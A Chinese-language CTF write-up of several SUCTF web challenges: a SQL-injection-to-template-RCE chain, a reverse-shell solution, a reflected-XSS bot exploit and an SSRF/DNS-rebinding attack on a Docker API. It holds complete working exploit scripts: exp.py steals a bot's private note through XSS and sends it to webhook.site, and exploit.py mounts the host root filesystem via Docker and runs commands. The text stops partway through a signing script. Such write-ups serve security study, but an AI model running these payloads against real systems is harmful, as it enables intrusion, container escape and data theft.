我把完整自动化脚本落在了:
get_flag_via_decoration_rce.py
脚本功能:
- 优先复用
admin_live_cookie_auto.txt里的后台会话 - 会话失效时自动重新登录
- 自动 OCR 识别验证码
- 自动备份原始
code.html - 自动做 canary 验证
- 自动枚举根目录文件
- 自动逐个读取根目录文件并匹配 flag
- 自动恢复原始
code.html
9.1 依赖
- Python 3
requestsPillowtesseract
9.2 直接运行
python get_flag_via_decoration_rce.py
正常输出类似:
FLAG_PATH=/b2b27f1a12e1f4bcb3927024bdb92531.txt
FLAG=SUCTF{y0ud1an_c00l_LiHua}
9.3 常用参数
python get_flag_via_decoration_rce.py --base-url http://101.245.108.250:10015
python get_flag_via_decoration_rce.py --cookie-file admin_live_cookie_auto.txt
python get_flag_via_decoration_rce.py --skip-canary
10. 最终链条总结
完整利用链可以概括为:
购物车 SQLi
-> 盲注拿到后台真实密码
-> 后台登录
-> Decoration/saveCode 写入 code.html
-> 利用 Think 模板的 {~...} 执行标签
-> 首页 footer include Public:code
-> 远端执行 PHP
-> 枚举根目录文件
-> 读取随机命名 txt 文件
-> 拿到 flag
最终 flag:
SUCTF{y0ud1an_c00l_LiHua}
SU_Thief
爆破密码

得到密码1q2w3e

搜索相关信息得到CVE

拿到shell,反弹


下载LinEnum.sh进行自动探测,发现运行了Caddy Admin API

注入payload,得到flag

SU_Note
这两道对经常打外国比赛的师傅应该不难,LACTF就有一道类似的题目
题目信息
- 题目名:
SU_Note - 类型:
Web - 目标站点:
http://101.245.81.83:10003/ - 已知提示:
- flag 在 bot 的 notes 里
- challenge container 在
127.0.0.1:80 - flag 形如
SUCTF{0100011110000110} - 不要爆破密码
最终 flag:
SUCTF{110110100}
功能点梳理
注册并登录后,站点主要有 3 个功能:
- 笔记列表
/ - 搜索页
/search.php - XSS Bot
/bot/
其中 bot 会访问我们提交的 URL,但页面上的 最近一次 Bot 输出 基本总是 BOT_OK,所以这题的关键不是让 bot 把页面内容直接显示出来,而是想办法借助 bot 的浏览器上下文,把数据主动外带出去。
核心漏洞
/search.php存在反射型 XSS
访问如下 URL:
/search.php?q=%3Csvg/onload=alert(1)%3E
返回页面中会出现这样一段脚本:
<script>
(() => {
const searchQuery = "<svg/onload=alert(1)>";
const isZeroResult = true;
...
})();
</script>
也就是说,参数 q 被直接插入进了 <script> 中的 JavaScript 字符串,而且没有做 JS 层面的转义。
所以可以直接用:
</script><script>...</script>
打断原来的脚本并执行任意 JS。
2. 真正有用的执行上下文是 127.0.0.1:80
直接让 bot 访问外网站点 http://101.245.81.83:10003/search.php?q=...,虽然也会返回 BOT_OK,但并不能拿到有价值的数据。
真正的突破点在题目提示:
The challenge container is available at 127.0.0.1:80.
把 payload 改成:
http://127.0.0.1:80/search.php?q=<payload>
再让 bot 访问,就会在 bot 的内网登录态下执行 XSS。
我们用 webhook 做了验证,请求来自:
IP = 101.245.81.83User-Agent = HeadlessChrome/146Origin = http://127.0.0.1
说明 bot 确实是在内网 127.0.0.1 这个 origin 上执行了我们的脚本。
3. document.cookie 不是突破口
最开始也试过直接把 document.cookie 带到 webhook:
(new Image()).src = "https://webhook.site/...?c=" + encodeURIComponent(document.cookie)
结果 webhook 能收到请求,但 c= 为空。
这说明:
- 要么 cookie 是
HttpOnly - 要么 flag 不在可读 cookie 里
但这并不影响利用,因为 XSS 仍然可以发起同源请求读取 bot 当前能访问到的页面内容。
利用思路
Step 1. 用 XSS 在 bot 上执行同步同源请求
这一步不能用普通异步 fetch() 当核心逻辑,因为 bot 很可能在页面刚加载完后就结束访问,异步回调不一定来得及执行。
更稳定的方式是同步 XMLHttpRequest:
var x = new XMLHttpRequest();
x.open('GET', '/', false);
x.send();
var html = x.responseText;
这样脚本在当前执行栈里就能拿到页面内容。
Step 2. 读取 bot 首页,确定笔记入口
先同步请求 /,发现:
- 页面标题是
笔记列表 - 笔记数量是
1
继续把首页里 ?note= 附近的 HTML 片段发到 webhook,得到:
<a class="note-item active" href="/?note=__system_flag_note__">
<p class="note-title">flag</p>

也就是说,这题不是随机 note id,而是有一个固定的系统笔记:
/?note=__system_flag_note__
Step 3. 直接读取系统 flag 笔记
接着在 XSS 中同步请求:
/?note=__system_flag_note__
然后在返回 HTML 中正则提取:
/SUCTF\{[01]+\}/
再通过 GET 请求打到 webhook 即可。
最终 Payload 逻辑
精简后的核心 JS 如下:
try {
function send(k, v) {
var i = new Image();
i.src = 'https://webhook.site/<token>?k=' + encodeURIComponent(k) +
'&v=' + encodeURIComponent(v);
document.body.appendChild(i);
}
var x = new XMLHttpRequest();
x.open('GET', '/?note=__system_flag_note__', false);
x.send();
var m = x.responseText.match(/SUCTF\{[01]+\}/);
if (m) {
send('flag', m[0]);
}
} catch (e) {
send('err', String(e));
}
再把它塞进:
http://127.0.0.1:80/search.php?q=</script><script>PAYLOAD</script>
然后提交给 /bot/ 即可。
完整利用链
- 注册并登录普通账号
- 打开
/bot/ - 构造
http://127.0.0.1:80/search.php?q=...的反射型 XSS URL - 让 bot 访问这个 URL
- XSS 在
http://127.0.0.1/的 bot 登录态下执行 - 同源读取
/?note=__system_flag_note__ - 提取
SUCTF{...} - 通过 webhook 外带出来
脚本
exp.py
#!/usr/bin/env python3
import argparse
import html
import json
import random
import re
import string
import sys
import time
import urllib.parse
import requests
def rand_text(prefix, length):
alphabet = string.ascii_lowercase + string.digits
return prefix + "".join(random.choice(alphabet) for _ in range(length))
def extract_input_value(page, name):
pattern = rf'<input[^>]*name="{re.escape(name)}"[^>]*value="([^"]*)"'
match = re.search(pattern, page)
if not match:
raise RuntimeError(f"failed to find input: {name}")
return html.unescape(match.group(1))
def extract_flash(page):
match = re.search(r'<div class="flash[^"]*">(.+?)</div>', page, re.S)
if not match:
return ""
text = re.sub(r"<[^>]+>", "", match.group(1))
return html.unescape(text).strip()
def extract_output(page):
match = re.search(r'<textarea[^>]*id="output"[^>]*>(.*?)</textarea>', page, re.S)
if not match:
return ""
return html.unescape(match.group(1)).strip()
def create_webhook(session):
response = session.post("https://webhook.site/token", timeout=20)
response.raise_for_status()
data = response.json()
token = data["uuid"]
return token, f"https://webhook.site/{token}"
def poll_webhook(session, token, marker, timeout_seconds=60, interval=2):
deadline = time.time() + timeout_seconds
url = f"https://webhook.site/token/{token}/requests?sorting=newest"
headers = {"Accept": "application/json"}
while time.time() < deadline:
response = session.get(url, headers=headers, timeout=20)
response.raise_for_status()
data = response.json()["data"]
matches = [item for item in data if item.get("query", {}).get("m") == marker]
if matches:
return matches
time.sleep(interval)
return []
def register(session, base_url, username, password):
response = session.get(urllib.parse.urljoin(base_url, "/register.php"), timeout=15)
response.raise_for_status()
csrf = extract_input_value(response.text, "_csrf")
response = session.post(
urllib.parse.urljoin(base_url, "/register.php"),
data={"_csrf": csrf, "username": username, "password": password},
timeout=15,
allow_redirects=False,
)
if response.status_code not in (200, 302):
raise RuntimeError(f"register failed: {response.status_code}")
def login(session, base_url, username, password):
response = session.get(urllib.parse.urljoin(base_url, "/login.php"), timeout=15)
response.raise_for_status()
csrf = extract_input_value(response.text, "_csrf")
action = extract_input_value(response.text, "action")
response = session.post(
urllib.parse.urljoin(base_url, "/login.php"),
data={
"_csrf": csrf,
"action": action,
"username": username,
"password": password,
},
timeout=15,
allow_redirects=False,
)
if response.status_code not in (200, 302):
raise RuntimeError(f"login failed: {response.status_code}")
def build_payload(webhook_url, marker):
js = (
"try{"
"function S(k,v){"
f"var i=new Image();i.src='{webhook_url}?m={marker}&k='+encodeURIComponent(k)+'&v='+encodeURIComponent(v);"
"document.body.appendChild(i);"
"}"
"function G(u){"
"var x=new XMLHttpRequest();"
"x.open('GET',u,false);"
"x.send();"
"return x.responseText;"
"}"
"function F(t){"
"var a=t.indexOf('SUCTF{');"
"if(a<0)return '';"
"var b=t.indexOf('}',a);"
"return b>=0?t.slice(a,b+1):'';"
"}"
"var note=G('/?note=__system_flag_note__');"
"var flag=F(note);"
"if(!flag){"
"var home=G('/');"
"var id=((home.split('?note=')[1]||'').split('\"')[0]||'');"
"if(id){flag=F(G('/?note='+id));S('id',id);}"
"}"
"if(flag){S('flag',flag);}"
"else{S('status','flag-not-found');S('snippet',note.slice(0,300));}"
"}catch(e){"
f"var i=new Image();i.src='{webhook_url}?m={marker}&k=err&v='+encodeURIComponent(String(e));"
"document.body.appendChild(i);"
"}"
)
injected = "</script><script>" + js + "</script>"
query = urllib.parse.quote(injected, safe="")
return f"http://127.0.0.1:80/search.php?q={query}"
def submit_bot(session, base_url, target_url):
bot_url = urllib.parse.urljoin(base_url, "/bot/")
while True:
response = session.get(bot_url, timeout=15)
response.raise_for_status()
csrf = extract_input_value(response.text, "_csrf")
response = session.post(
bot_url,
data={"_csrf": csrf, "action": "visit", "url": target_url},
timeout=45,
)
response.raise_for_status()
flash = extract_flash(response.text)
output = extract_output(response.text)
print(f"[+] bot flash: {flash or '(none)'}")
print(f"[+] bot output: {output or '(empty)'}")
if "请求过于频繁" not in flash:
return
wait_match = re.search(r"剩余\s*(\d+)\s*秒", flash)
wait_seconds = int(wait_match.group(1)) + 1 if wait_match else 61
print(f"[!] rate limited, sleep {wait_seconds}s")
time.sleep(wait_seconds)
def solve(base_url, webhook_token=None):
base_url = base_url.rstrip("/") + "/"
session = requests.Session()
if webhook_token:
webhook_url = f"https://webhook.site/{webhook_token}"
token = webhook_token
else:
token, webhook_url = create_webhook(session)
print(f"[+] webhook url: {webhook_url}")
username = rand_text("u", 8)
password = rand_text("P", 16)
print(f"[+] register user: {username}")
register(session, base_url, username, password)
login(session, base_url, username, password)
marker = rand_text("m", 8)
target_url = build_payload(webhook_url, marker)
print(f"[+] marker: {marker}")
print(f"[+] target url length: {len(target_url)}")
submit_bot(session, base_url, target_url)
print("[+] polling webhook ...")
matches = poll_webhook(session, token, marker)
if not matches:
raise RuntimeError("no webhook callback received")
flag = None
for item in matches:
query = item.get("query", {})
print("[+] callback:", json.dumps(query, ensure_ascii=False))
if query.get("k") == "flag":
flag = query.get("v")
if not flag:
raise RuntimeError("flag callback not found")
print(f"[+] FLAG: {flag}")
return flag
def main():
parser = argparse.ArgumentParser(description="SU_Note exploit")
parser.add_argument(
"--target",
default="http://101.245.81.83:10003/",
help="challenge base url",
)
parser.add_argument(
"--webhook-token",
default="",
help="optional existing webhook.site token",
)
args = parser.parse_args()
try:
solve(args.target, args.webhook_token or None)
except Exception as exc:
print(f"[-] {exc}", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
- 自动创建
webhook.sitetoken - 自动注册登录
- 自动提交 bot payload
- 自动轮询 webhook
- 自动输出 flag
默认直接运行:
python exp.py
如果想指定目标:
python exp.py --target http://101.245.81.83:10003/
结果

SUCTF{110110100}
复仇也是用这个脚本打
结果:

SUCTF{1101101010}
SU_uri
题目信息
- 题目:
SU_uri - 类型:
Web - 分值:
1000PT - 目标:
http://101.245.108.250:10012/
最终结论
这题的完整利用链是:
SSRF -> DNS rebinding -> localhost Docker API -> 挂载宿主机 -> 执行 /readflag
最终 flag:
SUCTF{SsRF_tO_rC3_by_d0CkEr_15_s0_FUn}
1. 首页分析
首页是一个很简单的 webhook 调试面板,用户可以输入:
- 一个目标 URL
- 一段 JSON 字符串
前端会把这两项数据提交给 /api/webhook。
前端发送格式如下:
POST /api/webhook
Content-Type: application/json
{"url":"http://target/","body":"{\"event\":\"ping\"}"}
这说明后端会根据我们给出的 url 发起服务端请求,因此它本质上就是一个 SSRF 入口。
2. 确认 /api/webhook 的行为
使用 httpbin 做基础验证:
外层请求:
POST /api/webhook
Content-Type: application/json
请求体:
{
"url": "http://httpbin.org/post",
"body": "{\"event\":\"ping\"}"
}
返回中可以看到:
message: forwardedtarget_status: 200target_body中包含目标站点的响应体
同时还能看到:
- 服务端真的替我们向外发起了请求
- 出网 IP 是目标服务器自身
User-Agent为Go-http-client/1.1
因此可以确定:
- 后端大概率是 Go
- 这是一个可控的 SSRF 点
- 目标响应内容会被直接回显,非常适合黑盒分析
3. SSRF 过滤逻辑
继续尝试访问敏感地址:
http://127.0.0.1:10012/http://localhost:10012/http://10.0.0.1/http://172.16.0.1/http://192.168.0.1/http://169.254.169.254/latest/meta-data/
服务端会明确回显错误:
blocked IP: 127.0.0.1
blocked host: localhost
blocked IP: 10.0.0.1
blocked IP: 169.254.169.254
这说明过滤逻辑至少做了:
- 只允许
http/https - 会解析域名
- 若解析结果是回环、内网、链路本地等地址则拦截
进一步测试:
127.0.0.1.nip.iolvh.melocaltest.me
这些也会被拦截,说明它不是只做字符串黑名单,而是会真的做 DNS 解析后再判断 IP。
4. 为什么会想到 DNS rebinding
题目名叫 SU_uri,而且黑盒上已经看到:
- 它确实会解析 URL
- 它确实会检查解析结果
- 但尚不确定它在“校验 URL”和“真正发请求”时是否复用同一次解析结果
如果后端流程类似:
LookupHost(url.Host)- 判断解析结果是否为内网 IP
- 再把原始 URL 交给
http.Client.Post(...)
那么 http.Client 很可能会再次解析域名。
这就是典型 TOCTOU:
- 检查时解析一次
- 使用时又解析一次
只要第一次解析是公网 IP、第二次解析变成 127.0.0.1,就能绕过过滤。
5. 用 rbndr.us 验证二次解析
这里使用公开的 DNS rebinding 服务 rbndr.us。
目标服务器公网 IP:
101.245.108.250
转成十六进制:
65f56cfa
127.0.0.1 转成十六进制:
7f000001
于是构造 rebinding 域名:
65f56cfa.7f000001.rbndr.us
它会在多个 A 记录之间切换,对应:
101.245.108.250127.0.0.1
验证请求体
发给题目站点的请求体是:
{
"url": "http://65f56cfa.7f000001.rbndr.us:10012/",
"body": "{}"
}
结果会出现两种情况:
- 有时返回正常页面
- 有时返回
blocked IP: 127.0.0.1
这说明过滤阶段和请求阶段的解析结果并不总是一致。
为了更硬地证明“请求阶段真的命中了 localhost”,继续构造:
01010101.7f000001.rbndr.us
它对应:
1.1.1.1127.0.0.1
对应请求体:
{
"url": "http://01010101.7f000001.rbndr.us:10012/",
"body": "{}"
}
最终可以看到:
dial tcp 127.0.0.1:10012: connect: connection refused
这就证明:
- 请求阶段确实可能被 rebinding 到
127.0.0.1 - 目标服务自己并不监听在
127.0.0.1:10012 - 后续可以借此扫描本地服务
6. 通过 rebinding 扫描 localhost
继续把 URL 换成:
http://65f56cfa.7f000001.rbndr.us:<port>/
然后多次重试,直到命中本地解析结果。
其中关键发现是:
127.0.0.1:2375有 HTTP 响应127.0.0.1:8080也有响应,但不是最终拿 flag 的关键
2375 是一个非常敏感的端口,因为它通常对应 Docker Remote API。
7. 确认 127.0.0.1:2375 是 Docker API
尝试调用 Docker 的典型接口:
外层 HTTP 请求
POST /api/webhook
Content-Type: application/json
外层请求体
{
"url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/create",
"body": "{\"Image\":\"busybox\",\"Cmd\":[\"id\"]}"
}
这里 body 字段是一个字符串,它会被目标后端原样作为 Docker API 的请求体发出去。
内层真正到 Docker API 的请求体是:
{
"Image": "busybox",
"Cmd": ["id"]
}
如果命中了本地 Docker API,会回显类似:
{"message":"No such image: busybox:latest"}
这已经足够说明:
- 本地
2375确实是 Docker API - 后续可以直接通过 Docker API 完成宿主机文件访问
8. 利用 Docker API 获取宿主机文件
虽然 webhook 只支持 POST,但 Docker API 里仍然有足够多的关键接口也是 POST,已经够用了。
8.1 拉取镜像
先拉一个最轻量、最稳妥的镜像 busybox。
外层请求体
{
"url": "http://65f56cfa.7f000001.rbndr.us:2375/images/create?fromImage=busybox&tag=latest",
"body": ""
}
这里的内层请求相当于:
POST /images/create?fromImage=busybox&tag=latest
不需要 body,所以 body 直接为空字符串。
成功时会看到类似:
Pulling from library/busybox
Status: Downloaded newer image for busybox:latest
8.2 创建挂载宿主机根目录的容器
这是最关键的一步:把宿主机根目录 / 只读挂到容器里的 /host。
外层请求体
{
"url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/create?name=codex-xxxxxxxx",
"body": "{\"Image\":\"busybox\",\"Cmd\":[\"sleep\",\"1000\"],\"Tty\":true,\"HostConfig\":{\"Binds\":[\"/:/host:ro\"]}}"
}
内层 Docker 请求体
{
"Image": "busybox",
"Cmd": ["sleep", "1000"],
"Tty": true,
"HostConfig": {
"Binds": ["/:/host:ro"]
}
}
这里的含义是:
- 使用
busybox - 容器启动后执行
sleep 1000 - 分配 TTY
- 把宿主机
/挂载到容器/host
成功后 Docker 会返回一个容器 ID。
8.3 启动容器
拿到 container_id 后继续启动:
外层请求体
{
"url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/<container_id>/start",
"body": "{}"
}
这里 body 写成 {} 就足够了。
8.4 创建 exec 来查找 flag
先在容器里执行一条搜索命令:
find /host -maxdepth 3 -iname '*flag*' 2>/dev/null | head -50
外层请求体
{
"url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/<container_id>/exec",
"body": "{\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"Cmd\":[\"sh\",\"-c\",\"find /host -maxdepth 3 -iname '*flag*' 2>/dev/null | head -50\"]}"
}
内层 Docker 请求体
{
"AttachStdout": true,
"AttachStderr": true,
"Tty": true,
"Cmd": ["sh", "-c", "find /host -maxdepth 3 -iname '*flag*' 2>/dev/null | head -50"]
}
Docker 返回 exec_id 后,再启动这个 exec:
外层请求体
{
"url": "http://65f56cfa.7f000001.rbndr.us:2375/exec/<exec_id>/start",
"body": "{\"Detach\":false,\"Tty\":true}"
}
内层 Docker 请求体
{
"Detach": false,
"Tty": true
}
这样就能在回显里看到:
/host/flag
/host/readflag
9. 取 flag
9.1 先读取 /host/flag
先验证一下 /host/flag。
创建 exec 的外层请求体
{
"url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/<container_id>/exec",
"body": "{\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"Cmd\":[\"sh\",\"-c\",\"cat /host/flag\"]}"
}
对应内层 Docker 请求体:
{
"AttachStdout": true,
"AttachStderr": true,
"Tty": true,
"Cmd": ["sh", "-c", "cat /host/flag"]
}
然后再启动 exec:
{
"url": "http://65f56cfa.7f000001.rbndr.us:2375/exec/<exec_id>/start",
"body": "{\"Detach\":false,\"Tty\":true}"
}
返回:
Flag is not here. executable /readflag to get it!
说明 /host/flag 是烟雾弹,真正要执行的是宿主机上的 /readflag。
9.2 最终执行 /host/readflag
创建 exec 的外层请求体
{
"url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/<container_id>/exec",
"body": "{\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"Cmd\":[\"sh\",\"-c\",\"/host/readflag\"]}"
}
内层 Docker 请求体
{
"AttachStdout": true,
"AttachStderr": true,
"Tty": true,
"Cmd": ["sh", "-c", "/host/readflag"]
}
然后启动 exec:
{
"url": "http://65f56cfa.7f000001.rbndr.us:2375/exec/<exec_id>/start",
"body": "{\"Detach\":false,\"Tty\":true}"
}
最终 target_body 中返回:
SUCTF{SsRF_tO_rC3_by_d0CkEr_15_s0_FUn}
10. 把所有关键请求总结成一组模板
这题所有利用请求,本质上都遵循同一个模式:
外层 HTTP
POST /api/webhook
Content-Type: application/json
外层 JSON 模板
{
"url": "http://<rebind_host>:2375<docker_api_path>",
"body": "<stringified_json_or_empty_string>"
}
例如:
{
"url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/<container_id>/exec",
"body": "{\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"Cmd\":[\"sh\",\"-c\",\"/host/readflag\"]}"
}
也就是说,这题不是直接和 Docker 通信,而是:
- 把 Docker API 请求包成 webhook 的请求体
- 交给题目后端代发
- 再从
target_body里取回执行结果
11. 利用脚本
exploit.py
import argparse
import ipaddress
import json
import random
import string
import sys
import time
from urllib.parse import urlparse
import requests
class ExploitError(Exception):
pass
def random_name(prefix="codex"):
suffix = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
return f"{prefix}-{suffix}"
def ip_to_hex(ip_text):
ip_value = ipaddress.ip_address(ip_text)
if ip_value.version != 4:
raise ExploitError("only IPv4 targets are supported for automatic rebinding host generation")
return "".join(f"{int(part):02x}" for part in ip_text.split("."))
class CloudHookExploit:
def __init__(self, base_url, rebind_host=None, docker_port=2375, image="busybox", timeout=15):
self.base_url = base_url.rstrip("/")
self.api_url = f"{self.base_url}/api/webhook"
self.timeout = timeout
self.docker_port = docker_port
self.image = image
self.session = requests.Session()
self.session.trust_env = False
parsed = urlparse(self.base_url)
self.base_host = parsed.hostname
if not self.base_host:
raise ExploitError("failed to parse base host from base URL")
if rebind_host:
self.rebind_host = rebind_host
else:
self.rebind_host = f"{ip_to_hex(self.base_host)}.7f000001.rbndr.us"
self.container_id = None
def log(self, message):
print(f"[+] {message}", flush=True)
def webhook_post(self, target_url, body="", timeout=None):
response = self.session.post(
self.api_url,
json={"url": target_url, "body": body},
timeout=timeout or self.timeout,
)
response.raise_for_status()
return response.json()
def retry_rebinding(self, path, body="", success=None, tries=80, timeout=None):
target_url = f"http://{self.rebind_host}:{self.docker_port}{path}"
last = None
for attempt in range(1, tries + 1):
try:
result = self.webhook_post(target_url, body=body, timeout=timeout)
last = result
if success and success(result):
return result
message = result.get("message", "")
if "blocked IP: 127.0.0.1" in message:
time.sleep(0.2)
continue
if "forward request failed" in message or "read target response failed" in message:
time.sleep(0.2)
continue
except requests.RequestException as error:
last = {"error": str(error)}
time.sleep(0.2)
raise ExploitError(f"rebinding retry exhausted for {path}: {json.dumps(last, ensure_ascii=False)}")
@staticmethod
def decode_target_body(result):
target_body = result.get("target_body", "")
if not target_body:
raise ExploitError(f"target_body missing: {json.dumps(result, ensure_ascii=False)}")
return json.loads(target_body)
def pull_image(self):
self.log(f"pulling image {self.image}:latest from local Docker API")
def ok(result):
if result.get("target_status") != 200:
return False
body = result.get("target_body", "")
return any(token in body for token in ["Downloaded newer image", "Image is up to date", "Pulling from"])
result = self.retry_rebinding(
f"/images/create?fromImage={self.image}&tag=latest",
body="",
success=ok,
timeout=25,
)
self.log("image pull succeeded")
return result
def create_container(self):
container_name = random_name()
self.log(f"creating container {container_name}")
body = json.dumps(
{
"Image": self.image,
"Cmd": ["sleep", "1000"],
"Tty": True,
"HostConfig": {"Binds": ["/:/host:ro"]},
}
)
def ok(result):
return result.get("target_status") == 201 and "target_body" in result
result = self.retry_rebinding(
f"/containers/create?name={container_name}",
body=body,
success=ok,
)
container = self.decode_target_body(result)
self.container_id = container["Id"]
self.log(f"container created: {self.container_id}")
return self.container_id
def start_container(self):
if not self.container_id:
raise ExploitError("container_id is not set")
self.log("starting container")
def ok(result):
return result.get("target_status") in {204, 304}
self.retry_rebinding(
f"/containers/{self.container_id}/start",
body="{}",
success=ok,
)
self.log("container started")
def exec_command(self, command):
if not self.container_id:
raise ExploitError("container_id is not set")
self.log(f"executing command: {command}")
create_body = json.dumps(
{
"AttachStdout": True,
"AttachStderr": True,
"Tty": True,
"Cmd": ["sh", "-c", command],
}
)
def create_ok(result):
return result.get("target_status") == 201 and "target_body" in result
create_result = self.retry_rebinding(
f"/containers/{self.container_id}/exec",
body=create_body,
success=create_ok,
)
exec_id = self.decode_target_body(create_result)["Id"]
def start_ok(result):
return result.get("target_status") == 200 and bool(result.get("target_body"))
start_result = self.retry_rebinding(
f"/exec/{exec_id}/start",
body=json.dumps({"Detach": False, "Tty": True}),
success=start_ok,
timeout=20,
)
return start_result.get("target_body", "")
def stop_container(self):
if not self.container_id:
return
self.log("stopping temporary container")
def ok(result):
return result.get("target_status") in {204, 304}
try:
self.retry_rebinding(
f"/containers/{self.container_id}/stop?t=1",
body="{}",
success=ok,
tries=30,
)
except ExploitError:
pass
def run(self):
self.log(f"target API: {self.api_url}")
self.log(f"rebind host: {self.rebind_host}")
self.pull_image()
self.create_container()
self.start_container()
flag_hint = self.exec_command("cat /host/flag")
self.log(f"/host/flag output: {flag_hint.strip()}")
flag = self.exec_command("/host/readflag").strip()
self.stop_container()
return flag
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--base-url", default="http://101.245.108.250:10012")
parser.add_argument("--rebind-host", default=None)
parser.add_argument("--docker-port", type=int, default=2375)
parser.add_argument("--image", default="busybox")
parser.add_argument("--timeout", type=int, default=15)
args = parser.parse_args()
exploit = CloudHookExploit(
base_url=args.base_url,
rebind_host=args.rebind_host,
docker_port=args.docker_port,
image=args.image,
timeout=args.timeout,
)
try:
flag = exploit.run()
except ExploitError as error:
print(f"[-] exploit failed: {error}", file=sys.stderr)
sys.exit(1)
print(flag)
if __name__ == "__main__":
main()
使用方式:
python exploit.py
如果需要指定参数:
python exploit.py --base-url http://101.245.108.250:10012 --docker-port 2375
脚本会自动:
- 生成 rebinding 域名
- 重试直到命中 localhost 分支
- 拉取
busybox - 创建并启动挂载宿主机根目录的容器
- 执行
/host/readflag - 输出最终 flag
得到
SUCTF{SsRF_tO_rC3_by_d0CkEr_15_s0_FUn}
SU_sqli
题目信息
- 题目:
SU_sqli - 分类:
Web - 分值:
1000PT - 目标:
http://101.245.108.250:10001/
题目描述很直接:Zhou discovered a SQL injection vulnerability. Are you able to compromise the target?
附件解压后只有一套前端静态资源,没有后端源码,因此这题的核心流程是:
- 先还原前端签名逻辑
- 让本地脚本能够正常请求
/api/query - 分析 SQL 注入点的拼接方式
- 绕过黑名单/WAF
- 构造盲注链,最终拿到 flag
一、附件分析
目录结构很简单:
application/
app.js
crypto1.wasm
crypto2.wasm
wasm_exec.js
index.html
style.css
获取的信息与漏洞成果.md
其中关键文件是:
application/app.jsapplication/crypto1.wasmapplication/crypto2.wasmapplication/wasm_exec.js
打开 application/app.js 可以发现,页面点击查询按钮后不会直接把参数发到后端,而是先做一套签名。
前端会先请求:
GET /api/sign
拿到类似如下的签名材料:
{
"ok": true,
"data": {
"algo": "v6",
"nonce": "...",
"salt": "...",
"seed": "...",
"ts": 1773451041935
}
}
然后前端再调用两个 wasm 导出的函数:
globalThis.__suPrep(...)globalThis.__suFinish(...)
并且 app.js 里还会对 __suPrep 的结果继续做两步处理:
unscramble(pre, nonce, ts)mixSecret(secret2, probe, ts)
最后才把下面这些字段发给 /api/query:
{
"q": "...",
"nonce": "...",
"ts": 1773451041935,
"sign": "..."
}
也就是说,如果不能正确复现签名,就根本摸不到真正的 SQL 注入点。
二、先解决签名问题
1. 直接访问接口
直接访问首页可以确认页面结构正常:
GET /
请求签名材料也没有问题:
GET /api/sign
但是直接手工 POST:
POST /api/query
Content-Type: application/json
{"q":"test"}
会返回:
{"ok":false,"error":"bad json"}
这是因为后端要求完整签名参数。
2. 浏览器里直接点查询
如果在默认无头浏览器里直接访问页面并点查询,返回的是:
bad sign
说明签名还和浏览器指纹有关。
3. 指纹相关字段
app.js 中构造了一个 probe 字符串,内容来自这些字段:
navigator.webdriverIntl.DateTimeFormat().resolvedOptions().timeZonenavigator.userAgentData.brandsIntl.DateTimeFormat().resolvedOptions().localenavigator.userAgent
也就是说,服务端签名校验不仅看 q、nonce、ts,还把 UA / 浏览器指纹绑进去了。
4. 正确做法
解决方式是:
- 本地加载 wasm
- 完整复现
app.js里的签名逻辑 - 使用一个“正常 Chrome”环境的 UA 与 probe
我最后选用的固定参数是:
UA = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
probe = wd=0;tz=Asia/Shanghai;b=Chromium:134,Google Chrome:134,Not=A?Brand:24;intl=1
然后在本地 Node 环境中载入:
application/wasm_exec.jsapplication/crypto1.wasmapplication/crypto2.wasm
这样就可以脱离浏览器,直接生成合法签名。
三、本地查询脚本
为方便后续测试,我写了一个查询脚本:
solve.js
const fs = require("fs");
const { performance } = require("perf_hooks");
const crypto = require("crypto").webcrypto;
globalThis.performance = performance;
globalThis.crypto = crypto;
require("./application/wasm_exec.js");
const BASE = "http://101.245.108.250:10001";
const USER_AGENT =
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36";
const PROBE =
"wd=0;tz=Asia/Shanghai;b=Chromium:134,Google Chrome:134,Not=A?Brand:24;intl=1";
const ROT_SCR = [1, 5, 9, 13, 17, 3, 11, 19];
function b64UrlToBytes(value) {
let text = value.replace(/-/g, "+").replace(/_/g, "/");
while (text.length % 4) {
text += "=";
}
return new Uint8Array(Buffer.from(text, "base64"));
}
function bytesToB64Url(bytes) {
return Buffer.from(bytes)
.toString("base64")
.replace(/\+/g, "-")
.replace(/\//g, "_")
.replace(/=+$/, "");
}
function rotl32(value, shift) {
return ((value << shift) | (value >>> (32 - shift))) >>> 0;
}
function rotr32(value, shift) {
return ((value >>> shift) | (value << (32 - shift))) >>> 0;
}
function maskBytes(nonce, ts) {
const nonceBytes = b64UrlToBytes(nonce);
let state = 0 >>> 0;
for (const byte of nonceBytes) {
state = (Math.imul(state, 131) + byte) >>> 0;
}
const hi = Math.floor(ts / 0x100000000);
state = (state ^ (ts >>> 0) ^ (hi >>> 0)) >>> 0;
const out = new Uint8Array(32);
for (let index = 0; index < 32; index += 1) {
state ^= (state << 13) >>> 0;
state ^= state >>> 17;
state ^= (state << 5) >>> 0;
out[index] = state & 0xff;
}
return out;
}
function unscramble(prepared, nonce, ts) {
const buffer = b64UrlToBytes(prepared);
for (let index = 0; index < 8; index += 1) {
const offset = index * 4;
let word =
(buffer[offset] |
(buffer[offset + 1] << 8) |
(buffer[offset + 2] << 16) |
(buffer[offset + 3] << 24)) >>>
0;
word = rotr32(word, ROT_SCR[index]);
buffer[offset] = word & 0xff;
buffer[offset + 1] = (word >>> 8) & 0xff;
buffer[offset + 2] = (word >>> 16) & 0xff;
buffer[offset + 3] = (word >>> 24) & 0xff;
}
const mask = maskBytes(nonce, ts);
for (let index = 0; index < 32; index += 1) {
buffer[index] ^= mask[index];
}
return buffer;
}
function probeMask(probe, ts) {
let state = 0 >>> 0;
for (const char of probe) {
